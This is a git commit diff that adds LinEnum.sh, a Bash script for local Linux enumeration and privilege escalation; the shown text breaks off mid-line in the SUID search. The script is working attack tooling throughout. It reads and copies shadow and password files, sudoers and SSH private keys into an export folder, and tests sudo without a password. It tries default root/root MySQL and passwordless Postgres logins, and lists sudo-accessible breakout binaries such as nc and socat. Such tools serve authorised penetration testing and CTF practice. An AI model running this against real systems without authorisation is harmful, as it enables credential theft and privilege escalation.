commit a0476d4c17dd6cc6460aa4035dcbe9341d9e4fa5 Author: Roman Hergenreder Date: Tue Jan 28 22:15:42 2020 +0100 Initial Commit diff --git a/LinEnum.sh b/LinEnum.sh new file mode 100755 index 0000000..a5aea9d --- /dev/null +++ b/LinEnum.sh @@ -0,0 +1,1340 @@ +#!/bin/bash +#A script to enumerate local information from a Linux host +version="version 0.98" +#@rebootuser + +#help function +usage () +{ +echo -e "\n\e[00;31m#########################################################\e[00m" +echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" +echo -e "\e[00;31m#########################################################\e[00m" +echo -e "\e[00;33m# www.rebootuser.com | @rebootuser \e[00m" +echo -e "\e[00;33m# $version\e[00m\n" +echo -e "\e[00;33m# Example: ./LinEnum.sh -k keyword -r report -e /tmp/ -t \e[00m\n" + + echo "OPTIONS:" + echo "-k Enter keyword" + echo "-e Enter export location" + echo "-s Supply user password for sudo checks (INSECURE)" + echo "-t Include thorough (lengthy) tests" + echo "-r Enter report name" + echo "-h Displays this help text" + echo -e "\n" + echo "Running with no options = limited scans/no output file" + +echo -e "\e[00;31m#########################################################\e[00m" +} +header() +{ +echo -e "\n\e[00;31m#########################################################\e[00m" +echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" +echo -e "\e[00;31m#########################################################\e[00m" +echo -e "\e[00;33m# www.rebootuser.com\e[00m" +echo -e "\e[00;33m# $version\e[00m\n" + +} + +debug_info() +{ +echo "[-] Debug Info" + +if [ "$keyword" ]; then + echo "[+] Searching for the keyword $keyword in conf, php, ini and log files" +fi + +if [ "$report" ]; then + echo "[+] Report name = $report" +fi + +if [ "$export" ]; then + echo "[+] Export location = $export" +fi + +if [ "$thorough" ]; then + echo "[+] Thorough tests = Enabled" +else + echo -e "\e[00;33m[+] Thorough tests = Disabled\e[00m" +fi + +sleep 2 + +if [ "$export" ]; then + mkdir $export 2>/dev/null + format=$export/LinEnum-export-`date +"%d-%m-%y"` + mkdir $format 2>/dev/null +fi + +if [ "$sudopass" ]; then + echo -e "\e[00;35m[+] Please enter password - INSECURE - really only for CTF use!\e[00m" + read -s userpassword + echo +fi + +who=`whoami` 2>/dev/null +echo -e "\n" + +echo -e "\e[00;33mScan started at:"; date +echo -e "\e[00m\n" +} + +# useful binaries (thanks to https://gtfobins.github.io/) +binarylist='aria2c\|arp\|ash\|awk\|base64\|bash\|busybox\|cat\|chmod\|chown\|cp\|csh\|curl\|cut\|dash\|date\|dd\|diff\|dmsetup\|docker\|ed\|emacs\|env\|expand\|expect\|file\|find\|flock\|fmt\|fold\|ftp\|gawk\|gdb\|gimp\|git\|grep\|head\|ht\|iftop\|ionice\|ip$\|irb\|jjs\|jq\|jrunscript\|ksh\|ld.so\|ldconfig\|less\|logsave\|lua\|make\|man\|mawk\|more\|mv\|mysql\|nano\|nawk\|nc\|netcat\|nice\|nl\|nmap\|node\|od\|openssl\|perl\|pg\|php\|pic\|pico\|python\|readelf\|rlwrap\|rpm\|rpmquery\|rsync\|ruby\|run-parts\|rvim\|scp\|script\|sed\|setarch\|sftp\|sh\|shuf\|socat\|sort\|sqlite3\|ssh$\|start-stop-daemon\|stdbuf\|strace\|systemctl\|tail\|tar\|taskset\|tclsh\|tee\|telnet\|tftp\|time\|timeout\|ul\|unexpand\|uniq\|unshare\|vi\|vim\|watch\|wget\|wish\|xargs\|xxd\|zip\|zsh' + +system_info() +{ +echo -e "\e[00;33m### SYSTEM ##############################################\e[00m" + +#basic kernel info +unameinfo=`uname -a 2>/dev/null` +if [ "$unameinfo" ]; then + echo -e "\e[00;31m[-] Kernel information:\e[00m\n$unameinfo" + echo -e "\n" +fi + +procver=`cat /proc/version 2>/dev/null` +if [ "$procver" ]; then + echo -e "\e[00;31m[-] Kernel information (continued):\e[00m\n$procver" + echo -e "\n" +fi + +#search all *-release files for version info +release=`cat /etc/*-release 2>/dev/null` +if [ "$release" ]; then + echo -e "\e[00;31m[-] Specific release information:\e[00m\n$release" + echo -e "\n" +fi + +#target hostname info +hostnamed=`hostname 2>/dev/null` +if [ "$hostnamed" ]; then + echo -e "\e[00;31m[-] Hostname:\e[00m\n$hostnamed" + echo -e "\n" +fi +} + +user_info() +{ +echo -e "\e[00;33m### USER/GROUP ##########################################\e[00m" + +#current user details +currusr=`id 2>/dev/null` +if [ "$currusr" ]; then + echo -e "\e[00;31m[-] Current user/group info:\e[00m\n$currusr" + echo -e "\n" +fi + +#last logged on user information +lastlogedonusrs=`lastlog 2>/dev/null |grep -v "Never" 2>/dev/null` +if [ "$lastlogedonusrs" ]; then + echo -e "\e[00;31m[-] Users that have previously logged onto the system:\e[00m\n$lastlogedonusrs" + echo -e "\n" +fi + +#who else is logged on +loggedonusrs=`w 2>/dev/null` +if [ "$loggedonusrs" ]; then + echo -e "\e[00;31m[-] Who else is logged on:\e[00m\n$loggedonusrs" + echo -e "\n" +fi + +#lists all id's and respective group(s) +grpinfo=`for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null` +if [ "$grpinfo" ]; then + echo -e "\e[00;31m[-] Group memberships:\e[00m\n$grpinfo" + echo -e "\n" +fi + +#added by phackt - look for adm group (thanks patrick) +adm_users=$(echo -e "$grpinfo" | grep "(adm)") +if [[ ! -z $adm_users ]]; + then + echo -e "\e[00;31m[-] It looks like we have some admin users:\e[00m\n$adm_users" + echo -e "\n" +fi + +#checks to see if any hashes are stored in /etc/passwd (depreciated *nix storage method) +hashesinpasswd=`grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null` +if [ "$hashesinpasswd" ]; then + echo -e "\e[00;33m[+] It looks like we have password hashes in /etc/passwd!\e[00m\n$hashesinpasswd" + echo -e "\n" +fi + +#contents of /etc/passwd +readpasswd=`cat /etc/passwd 2>/dev/null` +if [ "$readpasswd" ]; then + echo -e "\e[00;31m[-] Contents of /etc/passwd:\e[00m\n$readpasswd" + echo -e "\n" +fi + +if [ "$export" ] && [ "$readpasswd" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/passwd $format/etc-export/passwd 2>/dev/null +fi + +#checks to see if the shadow file can be read +readshadow=`cat /etc/shadow 2>/dev/null` +if [ "$readshadow" ]; then + echo -e "\e[00;33m[+] We can read the shadow file!\e[00m\n$readshadow" + echo -e "\n" +fi + +if [ "$export" ] && [ "$readshadow" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/shadow $format/etc-export/shadow 2>/dev/null +fi + +#checks to see if /etc/master.passwd can be read - BSD 'shadow' variant +readmasterpasswd=`cat /etc/master.passwd 2>/dev/null` +if [ "$readmasterpasswd" ]; then + echo -e "\e[00;33m[+] We can read the master.passwd file!\e[00m\n$readmasterpasswd" + echo -e "\n" +fi + +if [ "$export" ] && [ "$readmasterpasswd" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/master.passwd $format/etc-export/master.passwd 2>/dev/null +fi + +#all root accounts (uid 0) +superman=`grep -v -E "^#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null` +if [ "$superman" ]; then + echo -e "\e[00;31m[-] Super user account(s):\e[00m\n$superman" + echo -e "\n" +fi + +#pull out vital sudoers info +sudoers=`grep -v -e '^$' /etc/sudoers 2>/dev/null |grep -v "#" 2>/dev/null` +if [ "$sudoers" ]; then + echo -e "\e[00;31m[-] Sudoers configuration (condensed):\e[00m$sudoers" + echo -e "\n" +fi + +if [ "$export" ] && [ "$sudoers" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/sudoers $format/etc-export/sudoers 2>/dev/null +fi + +#can we sudo without supplying a password +sudoperms=`echo '' | sudo -S -l -k 2>/dev/null` +if [ "$sudoperms" ]; then + echo -e "\e[00;33m[+] We can sudo without supplying a password!\e[00m\n$sudoperms" + echo -e "\n" +fi + +#check sudo perms - authenticated +if [ "$sudopass" ]; then + if [ "$sudoperms" ]; then + : + else + sudoauth=`echo $userpassword | sudo -S -l -k 2>/dev/null` + if [ "$sudoauth" ]; then + echo -e "\e[00;33m[+] We can sudo when supplying a password!\e[00m\n$sudoauth" + echo -e "\n" + fi + fi +fi + +##known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated values) - authenticated +if [ "$sudopass" ]; then + if [ "$sudoperms" ]; then + : + else + sudopermscheck=`echo $userpassword | sudo -S -l -k 2>/dev/null | xargs -n 1 2>/dev/null|sed 's/,*$//g' 2>/dev/null | grep -w $binarylist 2>/dev/null` + if [ "$sudopermscheck" ]; then + echo -e "\e[00;33m[-] Possible sudo pwnage!\e[00m\n$sudopermscheck" + echo -e "\n" + fi + fi +fi + +#known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated values) +sudopwnage=`echo '' | sudo -S -l -k 2>/dev/null | xargs -n 1 2>/dev/null | sed 's/,*$//g' 2>/dev/null | grep -w $binarylist 2>/dev/null` +if [ "$sudopwnage" ]; then + echo -e "\e[00;33m[+] Possible sudo pwnage!\e[00m\n$sudopwnage" + echo -e "\n" +fi + +#who has sudoed in the past +whohasbeensudo=`find /home -name .sudo_as_admin_successful 2>/dev/null` +if [ "$whohasbeensudo" ]; then + echo -e "\e[00;31m[-] Accounts that have recently used sudo:\e[00m\n$whohasbeensudo" + echo -e "\n" +fi + +#checks to see if roots home directory is accessible +rthmdir=`ls -ahl /root/ 2>/dev/null` +if [ "$rthmdir" ]; then + echo -e "\e[00;33m[+] We can read root's home directory!\e[00m\n$rthmdir" + echo -e "\n" +fi + +#displays /home directory permissions - check if any are lax +homedirperms=`ls -ahl /home/ 2>/dev/null` +if [ "$homedirperms" ]; then + echo -e "\e[00;31m[-] Are permissions on /home directories lax:\e[00m\n$homedirperms" + echo -e "\n" +fi + +#looks for files we can write to that don't belong to us +if [ "$thorough" = "1" ]; then + grfilesall=`find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null` + if [ "$grfilesall" ]; then + echo -e "\e[00;31m[-] Files not owned by user but writable by group:\e[00m\n$grfilesall" + echo -e "\n" + fi +fi + +#looks for files that belong to us +if [ "$thorough" = "1" ]; then + ourfilesall=`find / -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null` + if [ "$ourfilesall" ]; then + echo -e "\e[00;31m[-] Files owned by our user:\e[00m\n$ourfilesall" + echo -e "\n" + fi +fi + +#looks for hidden files +if [ "$thorough" = "1" ]; then + hiddenfiles=`find / -name ".*" -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null` + if [ "$hiddenfiles" ]; then + echo -e "\e[00;31m[-] Hidden files:\e[00m\n$hiddenfiles" + echo -e "\n" + fi +fi + +#looks for world-reabable files within /home - depending on number of /home dirs & files, this can take some time so is only 'activated' with thorough scanning switch +if [ "$thorough" = "1" ]; then +wrfileshm=`find /home/ -perm -4 -type f -exec ls -al {} \; 2>/dev/null` + if [ "$wrfileshm" ]; then + echo -e "\e[00;31m[-] World-readable files within /home:\e[00m\n$wrfileshm" + echo -e "\n" + fi +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$wrfileshm" ]; then + mkdir $format/wr-files/ 2>/dev/null + for i in $wrfileshm; do cp --parents $i $format/wr-files/ ; done 2>/dev/null + fi +fi + +#lists current user's home directory contents +if [ "$thorough" = "1" ]; then +homedircontents=`ls -ahl ~ 2>/dev/null` + if [ "$homedircontents" ] ; then + echo -e "\e[00;31m[-] Home directory contents:\e[00m\n$homedircontents" + echo -e "\n" + fi +fi + +#checks for if various ssh files are accessible - this can take some time so is only 'activated' with thorough scanning switch +if [ "$thorough" = "1" ]; then +sshfiles=`find / \( -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" \) -exec ls -la {} 2>/dev/null \;` + if [ "$sshfiles" ]; then + echo -e "\e[00;31m[-] SSH keys/host information found in the following locations:\e[00m\n$sshfiles" + echo -e "\n" + fi +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$sshfiles" ]; then + mkdir $format/ssh-files/ 2>/dev/null + for i in $sshfiles; do cp --parents $i $format/ssh-files/; done 2>/dev/null + fi +fi + +#is root permitted to login via ssh +sshrootlogin=`grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | awk '{print $2}'` +if [ "$sshrootlogin" = "yes" ]; then + echo -e "\e[00;31m[-] Root is allowed to login via SSH:\e[00m" ; grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" + echo -e "\n" +fi +} + +environmental_info() +{ +echo -e "\e[00;33m### ENVIRONMENTAL #######################################\e[00m" + +#env information +envinfo=`env 2>/dev/null | grep -v 'LS_COLORS' 2>/dev/null` +if [ "$envinfo" ]; then + echo -e "\e[00;31m[-] Environment information:\e[00m\n$envinfo" + echo -e "\n" +fi + +#check if selinux is enabled +sestatus=`sestatus 2>/dev/null` +if [ "$sestatus" ]; then + echo -e "\e[00;31m[-] SELinux seems to be present:\e[00m\n$sestatus" + echo -e "\n" +fi + +#phackt + +#current path configuration +pathinfo=`echo $PATH 2>/dev/null` +if [ "$pathinfo" ]; then + echo -e "\e[00;31m[-] Path information:\e[00m\n$pathinfo" + echo -e "\n" +fi + +#lists available shells +shellinfo=`cat /etc/shells 2>/dev/null` +if [ "$shellinfo" ]; then + echo -e "\e[00;31m[-] Available shells:\e[00m\n$shellinfo" + echo -e "\n" +fi + +#current umask value with both octal and symbolic output +umaskvalue=`umask -S 2>/dev/null & umask 2>/dev/null` +if [ "$umaskvalue" ]; then + echo -e "\e[00;31m[-] Current umask value:\e[00m\n$umaskvalue" + echo -e "\n" +fi + +#umask value as in /etc/login.defs +umaskdef=`grep -i "^UMASK" /etc/login.defs 2>/dev/null` +if [ "$umaskdef" ]; then + echo -e "\e[00;31m[-] umask value as specified in /etc/login.defs:\e[00m\n$umaskdef" + echo -e "\n" +fi + +#password policy information as stored in /etc/login.defs +logindefs=`grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null` +if [ "$logindefs" ]; then + echo -e "\e[00;31m[-] Password and storage information:\e[00m\n$logindefs" + echo -e "\n" +fi + +if [ "$export" ] && [ "$logindefs" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/login.defs $format/etc-export/login.defs 2>/dev/null +fi +} + +job_info() +{ +echo -e "\e[00;33m### JOBS/TASKS ##########################################\e[00m" + +#are there any cron jobs configured +cronjobs=`ls -la /etc/cron* 2>/dev/null` +if [ "$cronjobs" ]; then + echo -e "\e[00;31m[-] Cron jobs:\e[00m\n$cronjobs" + echo -e "\n" +fi + +#can we manipulate these jobs in any way +cronjobwwperms=`find /etc/cron* -perm -0002 -type f -exec ls -la {} \; -exec cat {} 2>/dev/null \;` +if [ "$cronjobwwperms" ]; then + echo -e "\e[00;33m[+] World-writable cron jobs and file contents:\e[00m\n$cronjobwwperms" + echo -e "\n" +fi + +#contab contents +crontabvalue=`cat /etc/crontab 2>/dev/null` +if [ "$crontabvalue" ]; then + echo -e "\e[00;31m[-] Crontab contents:\e[00m\n$crontabvalue" + echo -e "\n" +fi + +crontabvar=`ls -la /var/spool/cron/crontabs 2>/dev/null` +if [ "$crontabvar" ]; then + echo -e "\e[00;31m[-] Anything interesting in /var/spool/cron/crontabs:\e[00m\n$crontabvar" + echo -e "\n" +fi + +anacronjobs=`ls -la /etc/anacrontab 2>/dev/null; cat /etc/anacrontab 2>/dev/null` +if [ "$anacronjobs" ]; then + echo -e "\e[00;31m[-] Anacron jobs and associated file permissions:\e[00m\n$anacronjobs" + echo -e "\n" +fi + +anacrontab=`ls -la /var/spool/anacron 2>/dev/null` +if [ "$anacrontab" ]; then + echo -e "\e[00;31m[-] When were jobs last executed (/var/spool/anacron contents):\e[00m\n$anacrontab" + echo -e "\n" +fi + +#pull out account names from /etc/passwd and see if any users have associated cronjobs (priv command) +cronother=`cut -d ":" -f 1 /etc/passwd | xargs -n1 crontab -l -u 2>/dev/null` +if [ "$cronother" ]; then + echo -e "\e[00;31m[-] Jobs held by all users:\e[00m\n$cronother" + echo -e "\n" +fi + +# list systemd timers +if [ "$thorough" = "1" ]; then + # include inactive timers in thorough mode + systemdtimers="$(systemctl list-timers --all 2>/dev/null)" + info="" +else + systemdtimers="$(systemctl list-timers 2>/dev/null |head -n -1 2>/dev/null)" + # replace the info in the output with a hint towards thorough mode + info="\e[2mEnable thorough tests to see inactive timers\e[00m" +fi +if [ "$systemdtimers" ]; then + echo -e "\e[00;31m[-] Systemd timers:\e[00m\n$systemdtimers\n$info" + echo -e "\n" +fi + +} + +networking_info() +{ +echo -e "\e[00;33m### NETWORKING ##########################################\e[00m" + +#nic information +nicinfo=`/sbin/ifconfig -a 2>/dev/null` +if [ "$nicinfo" ]; then + echo -e "\e[00;31m[-] Network and IP info:\e[00m\n$nicinfo" + echo -e "\n" +fi + +#nic information (using ip) +nicinfoip=`/sbin/ip a 2>/dev/null` +if [ ! "$nicinfo" ] && [ "$nicinfoip" ]; then + echo -e "\e[00;31m[-] Network and IP info:\e[00m\n$nicinfoip" + echo -e "\n" +fi + +arpinfo=`arp -a 2>/dev/null` +if [ "$arpinfo" ]; then + echo -e "\e[00;31m[-] ARP history:\e[00m\n$arpinfo" + echo -e "\n" +fi + +arpinfoip=`ip n 2>/dev/null` +if [ ! "$arpinfo" ] && [ "$arpinfoip" ]; then + echo -e "\e[00;31m[-] ARP history:\e[00m\n$arpinfoip" + echo -e "\n" +fi + +#dns settings +nsinfo=`grep "nameserver" /etc/resolv.conf 2>/dev/null` +if [ "$nsinfo" ]; then + echo -e "\e[00;31m[-] Nameserver(s):\e[00m\n$nsinfo" + echo -e "\n" +fi + +nsinfosysd=`systemd-resolve --status 2>/dev/null` +if [ "$nsinfosysd" ]; then + echo -e "\e[00;31m[-] Nameserver(s):\e[00m\n$nsinfosysd" + echo -e "\n" +fi + +#default route configuration +defroute=`route 2>/dev/null | grep default` +if [ "$defroute" ]; then + echo -e "\e[00;31m[-] Default route:\e[00m\n$defroute" + echo -e "\n" +fi + +#default route configuration +defrouteip=`ip r 2>/dev/null | grep default` +if [ ! "$defroute" ] && [ "$defrouteip" ]; then + echo -e "\e[00;31m[-] Default route:\e[00m\n$defrouteip" + echo -e "\n" +fi + +#listening TCP +tcpservs=`netstat -ntpl 2>/dev/null` +if [ "$tcpservs" ]; then + echo -e "\e[00;31m[-] Listening TCP:\e[00m\n$tcpservs" + echo -e "\n" +fi + +tcpservsip=`ss -t -l -n 2>/dev/null` +if [ ! "$tcpservs" ] && [ "$tcpservsip" ]; then + echo -e "\e[00;31m[-] Listening TCP:\e[00m\n$tcpservsip" + echo -e "\n" +fi + +#listening UDP +udpservs=`netstat -nupl 2>/dev/null` +if [ "$udpservs" ]; then + echo -e "\e[00;31m[-] Listening UDP:\e[00m\n$udpservs" + echo -e "\n" +fi + +udpservsip=`ss -u -l -n 2>/dev/null` +if [ ! "$udpservs" ] && [ "$udpservsip" ]; then + echo -e "\e[00;31m[-] Listening UDP:\e[00m\n$udpservsip" + echo -e "\n" +fi +} + +services_info() +{ +echo -e "\e[00;33m### SERVICES #############################################\e[00m" + +#running processes +psaux=`ps aux 2>/dev/null` +if [ "$psaux" ]; then + echo -e "\e[00;31m[-] Running processes:\e[00m\n$psaux" + echo -e "\n" +fi + +#lookup process binary path and permissisons +procperm=`ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null` +if [ "$procperm" ]; then + echo -e "\e[00;31m[-] Process binaries and associated permissions (from above list):\e[00m\n$procperm" + echo -e "\n" +fi + +if [ "$export" ] && [ "$procperm" ]; then +procpermbase=`ps aux 2>/dev/null | awk '{print $11}' | xargs -r ls 2>/dev/null | awk '!x[$0]++' 2>/dev/null` + mkdir $format/ps-export/ 2>/dev/null + for i in $procpermbase; do cp --parents $i $format/ps-export/; done 2>/dev/null +fi + +#anything 'useful' in inetd.conf +inetdread=`cat /etc/inetd.conf 2>/dev/null` +if [ "$inetdread" ]; then + echo -e "\e[00;31m[-] Contents of /etc/inetd.conf:\e[00m\n$inetdread" + echo -e "\n" +fi + +if [ "$export" ] && [ "$inetdread" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/inetd.conf $format/etc-export/inetd.conf 2>/dev/null +fi + +#very 'rough' command to extract associated binaries from inetd.conf & show permisisons of each +inetdbinperms=`awk '{print $7}' /etc/inetd.conf 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$inetdbinperms" ]; then + echo -e "\e[00;31m[-] The related inetd binary permissions:\e[00m\n$inetdbinperms" + echo -e "\n" +fi + +xinetdread=`cat /etc/xinetd.conf 2>/dev/null` +if [ "$xinetdread" ]; then + echo -e "\e[00;31m[-] Contents of /etc/xinetd.conf:\e[00m\n$xinetdread" + echo -e "\n" +fi + +if [ "$export" ] && [ "$xinetdread" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/xinetd.conf $format/etc-export/xinetd.conf 2>/dev/null +fi + +xinetdincd=`grep "/etc/xinetd.d" /etc/xinetd.conf 2>/dev/null` +if [ "$xinetdincd" ]; then + echo -e "\e[00;31m[-] /etc/xinetd.d is included in /etc/xinetd.conf - associated binary permissions are listed below:\e[00m"; ls -la /etc/xinetd.d 2>/dev/null + echo -e "\n" +fi + +#very 'rough' command to extract associated binaries from xinetd.conf & show permisisons of each +xinetdbinperms=`awk '{print $7}' /etc/xinetd.conf 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$xinetdbinperms" ]; then + echo -e "\e[00;31m[-] The related xinetd binary permissions:\e[00m\n$xinetdbinperms" + echo -e "\n" +fi + +initdread=`ls -la /etc/init.d 2>/dev/null` +if [ "$initdread" ]; then + echo -e "\e[00;31m[-] /etc/init.d/ binary permissions:\e[00m\n$initdread" + echo -e "\n" +fi + +#init.d files NOT belonging to root! +initdperms=`find /etc/init.d/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$initdperms" ]; then + echo -e "\e[00;31m[-] /etc/init.d/ files not belonging to root:\e[00m\n$initdperms" + echo -e "\n" +fi + +rcdread=`ls -la /etc/rc.d/init.d 2>/dev/null` +if [ "$rcdread" ]; then + echo -e "\e[00;31m[-] /etc/rc.d/init.d binary permissions:\e[00m\n$rcdread" + echo -e "\n" +fi + +#init.d files NOT belonging to root! +rcdperms=`find /etc/rc.d/init.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$rcdperms" ]; then + echo -e "\e[00;31m[-] /etc/rc.d/init.d files not belonging to root:\e[00m\n$rcdperms" + echo -e "\n" +fi + +usrrcdread=`ls -la /usr/local/etc/rc.d 2>/dev/null` +if [ "$usrrcdread" ]; then + echo -e "\e[00;31m[-] /usr/local/etc/rc.d binary permissions:\e[00m\n$usrrcdread" + echo -e "\n" +fi + +#rc.d files NOT belonging to root! +usrrcdperms=`find /usr/local/etc/rc.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$usrrcdperms" ]; then + echo -e "\e[00;31m[-] /usr/local/etc/rc.d files not belonging to root:\e[00m\n$usrrcdperms" + echo -e "\n" +fi + +initread=`ls -la /etc/init/ 2>/dev/null` +if [ "$initread" ]; then + echo -e "\e[00;31m[-] /etc/init/ config file permissions:\e[00m\n$initread" + echo -e "\n" +fi + +# upstart scripts not belonging to root +initperms=`find /etc/init \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$initperms" ]; then + echo -e "\e[00;31m[-] /etc/init/ config files not belonging to root:\e[00m\n$initperms" + echo -e "\n" +fi + +systemdread=`ls -lthR /lib/systemd/ 2>/dev/null` +if [ "$systemdread" ]; then + echo -e "\e[00;31m[-] /lib/systemd/* config file permissions:\e[00m\n$systemdread" + echo -e "\n" +fi + +# systemd files not belonging to root +systemdperms=`find /lib/systemd/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$systemdperms" ]; then + echo -e "\e[00;33m[+] /lib/systemd/* config files not belonging to root:\e[00m\n$systemdperms" + echo -e "\n" +fi +} + +software_configs() +{ +echo -e "\e[00;33m### SOFTWARE #############################################\e[00m" + +#sudo version - check to see if there are any known vulnerabilities with this +sudover=`sudo -V 2>/dev/null| grep "Sudo version" 2>/dev/null` +if [ "$sudover" ]; then + echo -e "\e[00;31m[-] Sudo version:\e[00m\n$sudover" + echo -e "\n" +fi + +#mysql details - if installed +mysqlver=`mysql --version 2>/dev/null` +if [ "$mysqlver" ]; then + echo -e "\e[00;31m[-] MYSQL version:\e[00m\n$mysqlver" + echo -e "\n" +fi + +#checks to see if root/root will get us a connection +mysqlconnect=`mysqladmin -uroot -proot version 2>/dev/null` +if [ "$mysqlconnect" ]; then + echo -e "\e[00;33m[+] We can connect to the local MYSQL service with default root/root credentials!\e[00m\n$mysqlconnect" + echo -e "\n" +fi + +#mysql version details +mysqlconnectnopass=`mysqladmin -uroot version 2>/dev/null` +if [ "$mysqlconnectnopass" ]; then + echo -e "\e[00;33m[+] We can connect to the local MYSQL service as 'root' and without a password!\e[00m\n$mysqlconnectnopass" + echo -e "\n" +fi + +#postgres details - if installed +postgver=`psql -V 2>/dev/null` +if [ "$postgver" ]; then + echo -e "\e[00;31m[-] Postgres version:\e[00m\n$postgver" + echo -e "\n" +fi + +#checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this +postcon1=`psql -U postgres template0 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon1" ]; then + echo -e "\e[00;33m[+] We can connect to Postgres DB 'template0' as user 'postgres' with no password!:\e[00m\n$postcon1" + echo -e "\n" +fi + +postcon11=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon11" ]; then + echo -e "\e[00;33m[+] We can connect to Postgres DB 'template1' as user 'postgres' with no password!:\e[00m\n$postcon11" + echo -e "\n" +fi + +postcon2=`psql -U pgsql template0 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon2" ]; then + echo -e "\e[00;33m[+] We can connect to Postgres DB 'template0' as user 'psql' with no password!:\e[00m\n$postcon2" + echo -e "\n" +fi + +postcon22=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon22" ]; then + echo -e "\e[00;33m[+] We can connect to Postgres DB 'template1' as user 'psql' with no password!:\e[00m\n$postcon22" + echo -e "\n" +fi + +#apache details - if installed +apachever=`apache2 -v 2>/dev/null; httpd -v 2>/dev/null` +if [ "$apachever" ]; then + echo -e "\e[00;31m[-] Apache version:\e[00m\n$apachever" + echo -e "\n" +fi + +#what account is apache running under +apacheusr=`grep -i 'user\|group' /etc/apache2/envvars 2>/dev/null |awk '{sub(/.*\export /,"")}1' 2>/dev/null` +if [ "$apacheusr" ]; then + echo -e "\e[00;31m[-] Apache user configuration:\e[00m\n$apacheusr" + echo -e "\n" +fi + +if [ "$export" ] && [ "$apacheusr" ]; then + mkdir --parents $format/etc-export/apache2/ 2>/dev/null + cp /etc/apache2/envvars $format/etc-export/apache2/envvars 2>/dev/null +fi + +#installed apache modules +apachemodules=`apache2ctl -M 2>/dev/null; httpd -M 2>/dev/null` +if [ "$apachemodules" ]; then + echo -e "\e[00;31m[-] Installed Apache modules:\e[00m\n$apachemodules" + echo -e "\n" +fi + +#htpasswd check +htpasswd=`find / -name .htpasswd -print -exec cat {} \; 2>/dev/null` +if [ "$htpasswd" ]; then + echo -e "\e[00;33m[-] htpasswd found - could contain passwords:\e[00m\n$htpasswd" + echo -e "\n" +fi + +#anything in the default http home dirs (a thorough only check as output can be large) +if [ "$thorough" = "1" ]; then + apachehomedirs=`ls -alhR /var/www/ 2>/dev/null; ls -alhR /srv/www/htdocs/ 2>/dev/null; ls -alhR /usr/local/www/apache2/data/ 2>/dev/null; ls -alhR /opt/lampp/htdocs/ 2>/dev/null` + if [ "$apachehomedirs" ]; then + echo -e "\e[00;31m[-] www home dir contents:\e[00m\n$apachehomedirs" + echo -e "\n" + fi +fi + +} + +interesting_files() +{ +echo -e "\e[00;33m### INTERESTING FILES ####################################\e[00m" + +#checks to see if various files are installed +echo -e "\e[00;31m[-] Useful file locations:\e[00m" ; which nc 2>/dev/null ; which netcat 2>/dev/null ; which wget 2>/dev/null ; which nmap 2>/dev/null ; which gcc 2>/dev/null; which curl 2>/dev/null +echo -e "\n" + +#limited search for installed compilers +compiler=`dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null` +if [ "$compiler" ]; then + echo -e "\e[00;31m[-] Installed compilers:\e[00m\n$compiler" + echo -e "\n" +fi + +#manual check - lists out sensitive files, can we read/modify etc. +echo -e "\e[00;31m[-] Can we read/write sensitive files:\e[00m" ; ls -la /etc/passwd 2>/dev/null ; ls -la /etc/group 2>/dev/null ; ls -la /etc/profile 2>/dev/null; ls -la /etc/shadow 2>/dev/null ; ls -la /etc/master.passwd 2>/dev/null +echo -e "\n" + +#search for suid files +findsuid=`find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;` +if [ "$findsuid" ]; then + echo -e "\e[00;31m[-] SUID files:\e[00m\n$findsuid" + echo -e "\n" +fi + +if [ "$export" ] && [ "$findsuid" ]; then + mkdir $format/suid-files/ 2>/dev/null + for i in $findsuid; do cp $i $format/suid-files/; done 2>/dev/null +fi + +#list of 'interesting' suid files - feel free to make additions +intsuid=`find / -perm -4000 